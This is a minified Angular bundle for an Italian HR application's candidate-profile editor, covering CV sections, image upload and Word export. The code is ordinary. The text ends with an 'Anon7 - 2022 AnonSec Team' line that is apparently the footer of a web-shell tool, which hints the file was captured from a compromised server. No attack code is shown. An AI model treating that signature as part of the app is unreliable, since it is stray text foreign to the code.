y.Ac(i),y.gc().saveForm()}),y.hc(1,"translate"),y.Qb(2,"i",35),y.Ic(3),y.hc(4,"translate"),y.Ub()}2&e&&(y.nc("tooltip",y.ic(1,2,"Salva le modifiche")),y.Cb(3),y.Kc("",y.ic(4,4,"Salva")," "))}function It(e,t){if(1&e){var i=y.Wb();y.Vb(0,"button",36),y.cc("click",function(){return y.Ac(i),y.gc().isInEdit=!0}),y.hc(1,"translate"),y.Qb(2,"i",37),y.Ic(3),y.hc(4,"translate"),y.Ub()}2&e&&(y.nc("tooltip",y.ic(1,2,"Abilita Modifica")),y.Cb(3),y.Kc("",y.ic(4,4,"Modifica")," "))}function xt(e,t){if(1&e){var i=y.Wb();y.Vb(0,"button",38),y.cc("click",function(){return y.Ac(i),y.gc().isInEdit=!1}),y.hc(1,"translate"),y.Qb(2,"i",39),y.Ic(3),y.hc(4,"translate"),y.Ub()}2&e&&(y.nc("tooltip",y.ic(1,2,"Passa alla visualizzazione")),y.Cb(3),y.Kc("",y.ic(4,4,"Sola lettura")," "))}var zt,Ot,kt=((zt=function(){function t(e,i,n,o,a,r,c,l){var b=this;s(this,t),this.employeeService=i,this.router=n,this.route=o,this.translate=a,this.utilsService=r,this.growService=c,this.authorizationService=l,this.configurazioneWizard=[],this.currentUserMail=null,this.proPicSrc=null,this.imgUrl=_.a.imageUrl,this.fileToUpload=null,this.contactDefaultImg="./assets/demo/img/contacts/user_empty.png",this.dropzoneCfgAnagrafica={url:_.a.apiUrl+"endpoint-sbagliato",maxFilesize:50,acceptedFiles:"image/*"},this.isInEdit=!1,this.settingsGUIJsonUpload={gui:{showTableAttach:!0,showUploadAttach:!0}},this.settingsDataJsonUpload={data:{userType:"employee",fixedCategory:"CV",showDropCategory:"",showCompactTable:!1,requestFilters:{id_file:"",id_user:"",category:"CV"}}},this.currentStep="anagrafica",this.formList=["educations","languages","skills","trainings","experiences","attachments","events"],this.files=[],this.base64Files=[],this.scrollHandler=function(e){var t=window.innerHeight/2,i=window.scrollY,n=[];b.configurazioneTimeline.forEach(function(e){var t=document.getElementById(e.step);t&&n.push({step:e.step,distanza:i-t.offsetTop})}),(n=n.filter(function(e){return e.distanza>-t&&e.distanza<t}).sort(function(e,t){return e.distanza-t.distanza})).length&&n[0]&&(b.currentStep=n[0].step)},this.configurazioneTimeline=[{step:"anagrafica",name:"Anagrafica"},{step:"educations",name:"Istruzione"},{step:"languages",name:"Lingue"},{step:"skills",name:"Skills"},{step:"soft-skills",name:"Soft Skills"},{step:"trainings",name:"Formazione"},{step:"experiences",name:"Esperienza"},{step:"attachments",name:"Allegati"},{step:"events",name:"Eventi"}],this.fb=e,this.currentUserMail=this.authorizationService.getUserFromToken().data.email,console.log("Current user: ",this.currentUserMail),this.initForm(),this.initOptions(),this.setFormData(),this.setOptionsData(),window.insertform=this.insertForm}return d(t,[{key:"setCurrentStep",value:function(e){var t=document.querySelector("#".concat(e," div"));window.scrollTo(0,t.offsetTop),this.currentStep=e}},{key:"ngOnInit",value:function(){window.addEventListener("scroll",this.scrollHandler,!0),window.insertForm=this.insertForm}},{key:"ngOnDestroy",value:function(){}},{key:"updateForm",value:function(e,t){this.insertForm.get(t).setValue(e)}},{key:"componentDestroyed",value:function(e,t){this.insertForm.addControl(t,e)}},{key:"initForm",value:function(){this.insertForm=this.fb.group({anagrafica:[""],educations:[""],languages:[""],skills:[""],softSkills:[""],trainings:[""],experiences:[""],attachments:[""],interviews:[""],events:[""]})}},{key:"initOptions",value:function(){this.anagraficaFormOptions={jobTitleOption:[],recruitmentOptions:[],geographicOptions:[],cityOptions:[],cityOptionsFiltered:[],birthCityOptionsFiltered:[],ruoloFromDB:[],regionsOptions:[],nationOptions:[],mobilitazioneOptions:[]},this.istruzioneFormOptions={educOptions:[],educLevelOptions:[],educTitlesOptions:[],regions:[],cityOptions:[],schoolsFiltered:[]},this.lingueFormOptions={languagesListOpt:[],languagesLevelOpt:[]},this.skillsFormOptions={industryListOpt:[],macroAreaListOpt:[],categoriesOptions:[],subCategoriesOptions:[],skillsOptions:[]},this.formazioneFormOptions={issuersListOpt:[]},this.esperienzaFormOptions={industryListOpt:[]},this.allegatiFormOptions={categoryOptions:[]},this.eventoFormOptions={tipologiaOption:[]}}},{key:"setOptionsData",value:function(){var t=this;this.utilsService.getAllMobilitazioneOptions().pipe(Object(B.a)(),Object(Y.a)(function(e){e.status&&(t.anagraficaFormOptions.mobilitazioneOptions=e.message)})).subscribe(),this.utilsService.getAllJobTitles().pipe(Object(B.a)(),Object(Y.a)(function(e){e.status&&(t.anagraficaFormOptions.jobTitleOption=e.message)})).subscribe(),this.utilsService.getAllRecruitmentOptions().pipe(Object(B.a)(),Object(Y.a)(function(e){e.status&&(t.anagraficaFormOptions.recruitmentOptions=e.message)})).subscribe(),this.utilsService.getAllGeographicOptions().pipe(Object(B.a)(),Object(Y.a)(function(e){e.status&&(t.anagraficaFormOptions.geographicOptions=e.message)})).subscribe(),this.utilsService.getAllEducationNameOptions().pipe(Object(B.a)(),Object(Y.a)(function(e){e.status&&(t.istruzioneFormOptions.educOptions=e.message)})).subscribe(),this.utilsService.getAllEducationLevelOptions().pipe(Object(B.a)(),Object(Y.a)(function(e){e.status&&(t.istruzioneFormOptions.educLevelOptions=e.message)})).subscribe(),this.utilsService.getAllEducationTitleOptions().pipe(Object(B.a)(),Object(Y.a)(function(e){e.status&&(t.istruzioneFormOptions.educTitlesOptions=e.message)})).subscribe(),this.utilsService.getAllLanguagesLevelOptions().pipe(Object(B.a)(),Object(Y.a)(function(e){e.status&&(t.lingueFormOptions.languagesLevelOpt=e.message)})).subscribe(),this.utilsService.getAllFormazioneIssuerOptions().pipe(Object(B.a)(),Object(Y.a)(function(e){e.status&&(t.formazioneFormOptions.issuersListOpt=e.message)})).subscribe(),this.utilsService.getAllegatiCategoryOptions().pipe(Object(B.a)(),Object(Y.a)(function(e){e.status&&(t.allegatiFormOptions.categoryOptions=e.message)})).subscribe(),this.utilsService.getAllIndustryOptions().pipe(Object(B.a)(),Object(Y.a)(function(e){e.status&&(t.skillsFormOptions.industryListOpt=e.message,t.esperienzaFormOptions.industryListOpt=e.message)})).subscribe(),this.utilsService.getCities().pipe(Object(B.a)(),Object(Y.a)(function(e){e.status&&(t.anagraficaFormOptions.cityOptions=e.message.sort(function(e,t){return e.nome_comune.toLowerCase()>t.nome_comune.toLowerCase()?1:-1}),t.istruzioneFormOptions.cityOptions=JSON.parse(JSON.stringify(t.anagraficaFormOptions.cityOptions)))})).subscribe(),this.utilsService.getRegions().pipe(Object(B.a)(),Object(Y.a)(function(e){e.status&&(t.anagraficaFormOptions.regionsOptions=e.message.sort(function(e,t){return e.nome_regione.toLowerCase()>t.nome_regione.toLowerCase()?1:-1}),t.istruzioneFormOptions.regions=JSON.parse(JSON.stringify(t.anagraficaFormOptions.regionsOptions)))})).subscribe(),this.utilsService.getNations().pipe(Object(B.a)(),Object(Y.a)(function(i){if(i.status){var n=[];n.push(i.message.find(function(e){return"italia"==e.nome.toLowerCase()})),n.push.apply(n,e(i.message.sort(function(e,t){return e.nome.toLowerCase()>t.nome.toLowerCase()?1:-1}).filter(function(e){return"italia"!=e.nome.toLowerCase()}))),t.anagraficaFormOptions.nationOptions=n}})).subscribe(),this.utilsService.getLanguagesList().pipe(Object(B.a)(),Object(Y.a)(function(e){e.status&&(t.lingueFormOptions.languagesListOpt=e.message.sort(function(e,t){return e.name.toLowerCase()>t.name.toLowerCase()?1:-1}))})).subscribe(),this.utilsService.getMacroareas().pipe(Object(B.a)(),Object(Y.a)(function(e){e.status&&(t.skillsFormOptions.macroAreaListOpt=e.message.sort(function(e,t){return e.name.toLowerCase()>t.name.toLowerCase()?1:-1}))})).subscribe(),this.utilsService.getCategories().pipe(Object(B.a)(),Object(Y.a)(function(e){e.status&&(t.skillsFormOptions.categoriesOptions=e.message.sort(function(e,t){return e.name.toLowerCase()>t.name.toLowerCase()?1:-1}),t.skillsFormOptions.subCategoriesOptions=JSON.parse(JSON.stringify(t.skillsFormOptions.categoriesOptions)))})).subscribe(),this.utilsService.getSkills().pipe(Object(B.a)(),Object(Y.a)(function(e){e.status&&(t.skillsFormOptions.skillsOptions=e.message.sort(function(e,t){return e.name.toLowerCase()>t.name.toLowerCase()?1:-1}))})).subscribe()}},{key:"setFormData",value:function(){var e=this;this.id_user=this.route.snapshot.params.id,this.employeeService.getUserById(this.id_user).subscribe(function(t){e.setEmployeeData(t.message)},function(e){console.error("Impossibile recuperare i dati",e)})}},{key:"setEmployeeData",value:function(e){var t=this;this.employeeName=e.name+" "+e.surname,this.proPicSrc=e.photo_profile;var i,n=r(this.formList);try{var o=function(){var n=i.value,o=t.insertForm.controls[n];e[n].forEach(function(e,i){var n=t.fb.group(e);o.controls.push(n)}),delete e[n]};for(n.s();!(i=n.n()).done;)o()}catch(a){n.e(a)}finally{n.f()}this.insertForm.get("anagrafica").patchValue(e),this.insertForm.get("softSkills").patchValue(e)}},{key:"updateIdFilesList",value:function(e){this.idFilesListToLoad=e}},{key:"backToEmployeeList",value:function(){var e=this;U.a.fire({title:"Sei sicuro di voler tornare alla lista dei candidati?",text:"Attenzione: Tornando alla lista dei candidati tutti i dati inseriti fin ora verrano persi.",footer:"Se vuoi prima salvare i tuoi dati clicca su  <b>Annulla</b> e poi sul pulsante in fondo alla pagina  <b>Salva</b>!",showDenyButton:!0,icon:"warning",confirmButtonText:"Vai alla Lista Candidati",denyButtonText:"Annulla"}).then(function(t){t.isConfirmed&&e.router.navigate(["/employees"])})}},{key:"addFormGroup",value:function(e,t){this[t]&&this[t]instanceof g.h&&e.push(this[t])}},{key:"removeEmptyFormGroup",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],i=[];e.value.map(function(e,t){var n=!0;for(var o in e)if(e[o]&&""!=e[o]){n=!1;break}1==n&&i.push(t)});for(var n=0,o=0,a=i;o<a.length;o++){var r=a[o];(e.length>1||t)&&(e.removeAt(r-n),n++)}}},{key:"saveForm",value:function(){var e=this,t=Object.assign(Object.assign({id_user:this.id_user},this.insertForm.controls.anagrafica.value),this.insertForm.controls.softSkills.value);this.formList.forEach(function(i){t[i]=e.insertForm.controls[i].value||[]}),t.name&&t.surname&&t.email?this.employeeService.updateEmployee(t).subscribe(function(e){return console.log(e)}):this.growService.addError("I campi obbligatori non sono valorizzati!")}},{key:"esportaWord",value:function(){window.open(_.a.apiUrl+"word/"+this.id_user)}},{key:"onFilesAdded",value:function(t,i){var n;this.files.length>0&&this.files.splice(i,1),(n=this.files).push.apply(n,e(t.addedFiles)),this.updateBase64FilesList()}},{key:"updateBase64FilesList",value:function(){var e=this;this.base64Files=[];var t={extension:"",content:""},i=this.route.snapshot.params.id;this.files.forEach(function(n){e.readFile(n).then(function(o){var a;console.log("file",n),e.base64Files.push({name:n.name,content:o});var r=(null!==(a=n.name.split("."))&&void 0!==a?a:[]).pop();t={extension:r,content:e.base64Files[0].content.split(",").pop()},console.log("payload",t),e.utilsService.updateUserImage(i,t).pipe(Object(B.a)(),Object(Y.a)(function(t){e.proPicSrc=!0===t.status?"users/"+i+"."+r+"?nocache="+Math.floor(1e8*Math.random()):null})).subscribe()})})}},{key:"readFile",value:function(e){return Object($.a)(this,void 0,void 0,regeneratorRuntime.mark(function t(){return regeneratorRuntime.wrap(function(t){for(;;)switch(t.prev=t.next){case 0:return t.abrupt("return",new Promise(function(t,i){var n=new FileReader;if(n.onload=function(e){return t(e.target.result)},n.onerror=function(e){return i(null)},!e)return i(null);n.readAsDataURL(e)}));case 1:case"end":return t.stop()}},t)}))}},{key:"changeUserImage",value:function(){this.dropzoneUserImg.showFileSelector()}}]),t}()).\u0275fac=function(e){return new(e||zt)(y.Pb(g.e),y.Pb(u.a),y.Pb(l.f),y.Pb(l.a),y.Pb(v.a),y.Pb(f.a),y.Pb(C.a),y.Pb(H.a))},zt.\u0275cmp=y.Jb({type:zt,selectors:[["employee-view-edit"]],viewQuery:function(e,t){var i;1&e&&y.Mc(Vt,1),2&e&&y.wc(i=y.dc())&&(t.dropzoneUserImg=i.first)},decls:36,vars:49,consts:[[1,"row"],[1,"col-md-2","d-none","d-md-block","d-lg-block","d-xl-block"],[1,"position-sticky","navbar-gutter"],[1,"pl-2","timeline-w"],[3,"config","currentStep","stepChange"],[1,"col-md-3","order-md-2"],[1,"card","new-contact","position-sticky","navbar-gutter"],[1,"custom-contact__header","p-0"],["class","w-100",3,"src","click",4,"ngIf"],["accept","image/jpeg,image/jpg,image/png,image/gif","id","drawing-image1",1,"customDropzone","border-0","overflow-hidden",3,"hidden","change"],["dropzoneUserImg",""],[1,"img-fluid","m-0",3,"src"],["class","drawingImagePreview","ngProjectAs","ngx-dropzone-preview",5,["ngx-dropzone-preview"],3,"file",4,"ngFor","ngForOf"],[1,"card-body","text-center","p-3"],["class","btn btn-orange mod btn--icon-text text-center mr-1",3,"tooltip","click",4,"ngIf"],["class","btn btn-orange mod btn--icon-text text-center",3,"tooltip","click",4,"ngIf"],[1,"btn","btn-orange","ml-1","mod","btn--icon-text","text-center",3,"tooltip","click"],[1,"zmdi","zmdi-download"],["class","btn btn-orange mod btn--icon-text text-center mt-1 ml-1",3,"tooltip","click",4,"ngIf"],[1,"col-md-7","order-md-1"],[1,"card"],[1,"card-body"],[3,"formGroup"],["id","anagrafica","tabindex","1",3,"form","options","isInEdit","formChange"],["id","educations","tabindex","2","rowStyle","mb-4",3,"form","options","removeEmpty","isInEdit","formChange"],["id","languages","tabindex","3","rowStyle","mb-4",3,"form","options","removeEmpty","isInEdit","formChange"],["id","skills","tabindex","4","rowStyle","mb-4",3,"form","options","removeEmpty","isInEdit","formChange"],["id","soft-skills","tabindex","5","rowStyle","mb-4",3,"form","isInEdit","formChange"],["id","trainings","tabindex","6","rowStyle","mb-4",3,"form","options","removeEmpty","isInEdit","formChange"],["id","experiences","tabindex","7","rowStyle","mb-4",3,"form","options","removeEmpty","isInEdit","formChange"],["id","attachments","tabindex","8","rowStyle","mb-4",3,"form","options","removeEmpty","isInEdit","formChange"],["id","events","tabindex","9",3,"form","options","removeEmpty","isInEdit","formChange"],[1,"w-100",3,"src","click"],["ngProjectAs","ngx-dropzone-preview",5,["ngx-dropzone-preview"],1,"drawingImagePreview",3,"file"],[1,"btn","btn-orange","mod","btn--icon-text","text-center","mr-1",3,"tooltip","click"],[1,"zmdi","zmdi-floppy"],[1,"btn","btn-orange","mod","btn--icon-text","text-center",3,"tooltip","click"],[1,"zmdi","zmdi-lock-open"],[1,"btn","btn-orange","mod","btn--icon-text","text-center","mt-1","ml-1",3,"tooltip","click"],[1,"zmdi","zmdi-lock-outline"]],template:function(e,t){1&e&&(y.Vb(0,"div",0),y.Vb(1,"div",1),y.Vb(2,"div",2),y.Vb(3,"div",3),y.Vb(4,"app-timeline-manager",4),y.cc("stepChange",function(e){return t.setCurrentStep(e)}),y.Ub(),y.Ub(),y.Ub(),y.Ub(),y.Vb(5,"div",5),y.Vb(6,"div",6),y.Vb(7,"div",7),y.Gc(8,Ut,1,1,"img",8),y.Vb(9,"ngx-dropzone",9,10),y.cc("change",function(e){return t.onFilesAdded(e,0)}),y.Vb(11,"ngx-dropzone-label"),y.Qb(12,"img",11),y.Ub(),y.Gc(13,_t,1,1,"ngx-dropzone-image-preview",12),y.Ub(),y.Ub(),y.Vb(14,"div",13),y.Gc(15,yt,5,6,"button",14),y.Gc(16,It,5,6,"button",15),y.Vb(17,"button",16),y.cc("click",function(){return t.esportaWord()}),y.hc(18,"translate"),y.Qb(19,"i",17),y.Ic(20),y.hc(21,"translate"),y.Ub(),y.Gc(22,xt,5,6,"button",18),y.Ub(),y.Ub(),y.Ub(),y.Vb(23,"div",19),y.Vb(24,"div",20),y.Vb(25,"div",21),y.Vb(26,"form",22),y.Vb(27,"app-employee-view-edit-anagrafica",23),y.cc("formChange",function(e){return t.insertForm.controls.anagrafica=e}),y.Ub(),y.Vb(28,"app-employee-view-edit-istruzione",24),y.cc("formChange",function(e){return t.insertForm.controls.educations=e}),y.Ub(),y.Vb(29,"app-employee-view-edit-lingue",25),y.cc("formChange",function(e){return t.insertForm.controls.languages=e}),y.Ub(),y.Vb(30,"app-employee-view-edit-skills",26),y.cc("formChange",function(e){return t.insertForm.controls.skills=e}),y.Ub(),y.Vb(31,"app-employee-view-edit-soft-skills",27),y.cc("formChange",function(e){return t.insertForm.controls.softSkills=e}),y.Ub(),y.Vb(32,"app-employee-view-edit-formazione",28),y.cc("formChange",function(e){return t.insertForm.controls.trainings=e}),y.Ub(),y.Vb(33,"app-employee-view-edit-esperienza",29),y.cc("formChange",function(e){return t.insertForm.controls.experiences=e}),y.Ub(),y.Vb(34,"app-employee-view-edit-allegati",30),y.cc("formChange",function(e){return t.insertForm.controls.attachments=e}),y.Ub(),y.Vb(35,"app-employee-view-edit-evento",31),y.cc("formChange",function(e){return t.insertForm.controls.events=e}),y.Ub(),y.Ub(),y.Ub(),y.Ub(),y.Ub(),y.Ub()),2&e&&(y.Cb(4),y.nc("config",t.configurazioneTimeline)("currentStep",t.currentStep),y.Cb(4),y.nc("ngIf",t.proPicSrc),y.Cb(1),y.nc("hidden",t.proPicSrc),y.Cb(3),y.nc("src",t.contactDefaultImg,y.Cc),y.Cb(1),y.nc("ngForOf",t.files),y.Cb(2),y.nc("ngIf",1==t.isInEdit),y.Cb(1),y.nc("ngIf",0==t.isInEdit),y.Cb(1),y.nc("tooltip",y.ic(18,45,"Esporta Word")),y.Cb(3),y.Kc("",y.ic(21,47,"Esporta Word")," "),y.Cb(2),y.nc("ngIf",1==t.isInEdit),y.Cb(4),y.nc("formGroup",t.insertForm),y.Cb(1),y.nc("form",t.insertForm.controls.anagrafica)("options",t.anagraficaFormOptions)("isInEdit",t.isInEdit),y.Cb(1),y.nc("form",t.insertForm.controls.educations)("options",t.istruzioneFormOptions)("removeEmpty",t.removeEmptyFormGroup)("isInEdit",t.isInEdit),y.Cb(1),y.nc("form",t.insertForm.controls.languages)("options",t.lingueFormOptions)("removeEmpty",t.removeEmptyFormGroup)("isInEdit",t.isInEdit),y.Cb(1),y.nc("form",t.insertForm.controls.skills)("options",t.skillsFormOptions)("removeEmpty",t.removeEmptyFormGroup)("isInEdit",t.isInEdit),y.Cb(1),y.nc("form",t.insertForm.controls.softSkills)("isInEdit",t.isInEdit),y.Cb(1),y.nc("form",t.insertForm.controls.trainings)("options",t.formazioneFormOptions)("removeEmpty",t.removeEmptyFormGroup)("isInEdit",t.isInEdit),y.Cb(1),y.nc("form",t.insertForm.controls.experiences)("options",t.esperienzaFormOptions)("removeEmpty",t.removeEmptyFormGroup)("isInEdit",t.isInEdit),y.Cb(1),y.nc("form",t.insertForm.controls.attachments)("options",t.allegatiFormOptions)("removeEmpty",t.removeEmptyFormGroup)("isInEdit",t.isInEdit),y.Cb(1),y.nc("form",t.insertForm.controls.events)("options",t.eventoFormOptions)("removeEmpty",t.removeEmptyFormGroup)("isInEdit",t.isInEdit))},directives:[Z.a,I.n,X.a,X.d,I.m,O.a,g.w,g.o,g.i,me,_e,Fe,qe,Ge,He,at,mt,Ct,X.b],pipes:[k.c],styles:[".p0[_ngcontent-%COMP%]{padding:0}.m0[_ngcontent-%COMP%]{margin:0}.mod[_ngcontent-%COMP%]{background-color:#ffb81c;color:#000}@media (min-width:768px){.profile[_ngcontent-%COMP%]{display:flex;align-items:center;flex-direction:row}}@media (max-width:767.98px){.profile[_ngcontent-%COMP%]{margin-top:75px;text-align:center}}.profile__img[_ngcontent-%COMP%]{padding:5px;position:relative}.profile__img[_ngcontent-%COMP%]   img[_ngcontent-%COMP%]{max-width:200px;border-radius:2px}@media (max-width:767.98px){.profile__img[_ngcontent-%COMP%]   img[_ngcontent-%COMP%]{margin:-55px 0 -10px;width:120px;border:5px solid #fff;border-radius:50%}}.profile__img__edit[_ngcontent-%COMP%]{position:absolute;font-size:1.2rem;top:15px;left:15px;background-color:rgba(0,0,0,.4);width:30px;height:30px;line-height:30px;border-radius:50%;text-align:center;color:#fff}.profile__img__edit[_ngcontent-%COMP%]:hover{background-color:rgba(0,0,0,.65);color:#fff}.profile__info[_ngcontent-%COMP%]{padding:30px}.nav-tabs[_ngcontent-%COMP%]:not([class*=nav-tabs--])   .nav-link.active[_ngcontent-%COMP%]{color:orange;font-weight:700}.nav-tabs[_ngcontent-%COMP%]   .nav-link[_ngcontent-%COMP%]:before{background:orange}.wp-100[_ngcontent-%COMP%]{min-width:100px}.right[_ngcontent-%COMP%]{float:right;margin-right:1pt}.textareaCustom[_ngcontent-%COMP%]{min-height:60px;height:auto;max-height:40vh;overflow-y:hidden;word-wrap:break-word}.boxer-multiselect-modis[_ngcontent-%COMP%]{background:#ffb81c;box-sizing:border-box;border:#e9ecef;color:#000;cursor:pointer;font-size:13.5px;padding:12px;margin-bottom:2px}.i-delete-hover[_ngcontent-%COMP%]:hover{color:orange}.navbar-gutter[_ngcontent-%COMP%]{top:100px}hr[_ngcontent-%COMP%]{margin-top:2rem;margin-bottom:3rem;border:0;border-top:1px solid orange}.btn-modis[_ngcontent-%COMP%]{border:1px solid #ffb81c}.btn--action[_ngcontent-%COMP%]{color:#000!important}.btn--action[_ngcontent-%COMP%]:hover{color:#fff!important}.btn-wrapper[_ngcontent-%COMP%]{z-index:2;position:sticky;height:50px;bottom:30px;right:30px}.btn-custom[_ngcontent-%COMP%], btn-custom-bigger[_ngcontent-%COMP%]{height:50px;width:50px;padding:0;border-radius:50%;font-size:20px;cursor:pointer;box-shadow:0 4px 3px -2px rgba(0,0,0,.15),0 2px 2px 0 rgba(0,0,0,.04),0 1px 5px 0 rgba(0,0,0,.02)!important}btn-custom-bigger[_ngcontent-%COMP%]{border-radius:3px;width:225px}.custom-contact__header[_ngcontent-%COMP%]{background-color:#f3f3f3;text-align:center;position:relative}.customDropzone[_ngcontent-%COMP%]{display:unset}.img-fluid[_ngcontent-%COMP%]{width:100%}"]}),zt),wt=[{path:"",component:W},{path:"edit-employee/:id",component:kt}],Ft=((Ot=function e(){s(this,e)}).\u0275fac=function(e){return new(e||Ot)},Ot.\u0275mod=y.Nb({type:Ot,bootstrap:[W,kt]}),Ot.\u0275inj=y.Mb({imports:[[b.a,m.b,l.j.forChild(wt)]]}),Ot)}}])}();

Anon7 - 2022
AnonSec Team